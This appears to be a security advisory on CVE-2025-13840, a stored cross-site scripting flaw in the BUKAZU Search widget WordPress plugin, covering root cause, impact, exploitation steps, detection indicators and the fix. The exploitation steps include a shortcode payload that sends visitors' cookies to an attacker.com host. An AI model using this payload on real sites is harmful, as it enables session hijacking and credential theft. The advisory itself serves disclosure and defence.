CVE-2025-13840: 
WordPress vulnerability analysis and mitigation

CVE-2025-13840 is a Stored Cross-Site Scripting (XSS) vulnerability in the BUKAZU Search widget plugin for WordPress. It affects all versions up to and including 3.3.2, where insufficient input sanitization and output escaping on the shortcode parameter of the bukazu_search shortcode allows authenticated attackers with Contributor-level access or above to inject arbitrary web scripts. The vulnerability was published on December 12, 2025, and assigned by Wordfence. It carries a CVSS v3.1 base score of 6.4 (Medium) (Wordfence, Red Hat CVE).

The root cause is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting). The vulnerability exists in bukazu-widget.php (line 277), where user-supplied attributes passed to the shortcode parameter of the bukazu_search shortcode are neither properly sanitized on input nor escaped on output. An authenticated attacker with at least Contributor-level WordPress privileges can embed a malicious shortcode containing arbitrary JavaScript into a post or page; the script executes in the browser of any user who subsequently visits the affected page (Wordfence, WordPress Trac).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of other users' browsers whenever they visit a page containing the injected shortcode. This can lead to session cookie theft, credential harvesting, defacement of page content, redirection to malicious sites, or further attacks against site administrators. While availability is not directly impacted, the confidentiality and integrity of user data and site content are at risk (Wordfence).

No public exploit code or active in-the-wild exploitation has been reported for CVE-2025-13840. The EPSS score is approximately 0.029% (0.000290), indicating a low probability of exploitation in the near term. The vulnerability requires authenticated access at the Contributor level or above, which limits the attack surface compared to unauthenticated vulnerabilities. It is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog (Wordfence).

1. Gain Contributor Access: Obtain or register a WordPress account with at least Contributor-level privileges on the target site running BUKAZU Search widget ≤ 3.3.2.
2. Create or Edit a Post: Navigate to the WordPress editor and create or edit a post or page where shortcodes are rendered.
3. Inject Malicious Shortcode: Insert a crafted shortcode such as [bukazu_search shortcode="<script>document.location='https://attacker.com/steal?c='+document.cookie</script>"] into the post content.
4. Publish the Content: Submit or update the post so the injected shortcode is stored in the database.
5. Trigger Execution: When any user (including administrators) visits the page, the unsanitized shortcode parameter is rendered in the HTML response, causing the injected script to execute in their browser — enabling session hijacking, credential theft, or further attacks (Wordfence, WordPress Trac).

• Logs: WordPress access logs showing POST requests to wp-admin/post.php or REST API endpoints containing bukazu_search shortcode with suspicious script tags or encoded JavaScript payloads.
• Database: WordPress wp_posts table entries containing [bukazu_search shortcode= with embedded <script>, javascript:, or event handler attributes (e.g., onerror, onload).
• Network: Outbound requests from victim browsers to unknown external domains shortly after visiting pages containing the bukazu_search shortcode, potentially carrying cookie or session data in query parameters.
• File System: Unexpected modifications to bukazu-widget.php or other plugin files if an attacker escalated access after initial XSS exploitation.

Users should update the BUKAZU Search widget plugin to version 3.3.3 or later, which addresses the insufficient sanitization and escaping of the shortcode parameter. As an interim measure, site administrators can restrict Contributor-level user permissions or disable the plugin until the update is applied. Reviewing existing posts and pages for injected shortcode payloads is also recommended (Wordfence, Wordfence Weekly Report).

Wordfence disclosed the vulnerability as part of their weekly WordPress vulnerability report for December 8–14, 2025, noting it as a stored XSS issue requiring Contributor-level access. No significant broader media coverage or notable researcher commentary beyond the Wordfence advisory has been identified (Wordfence Weekly Report).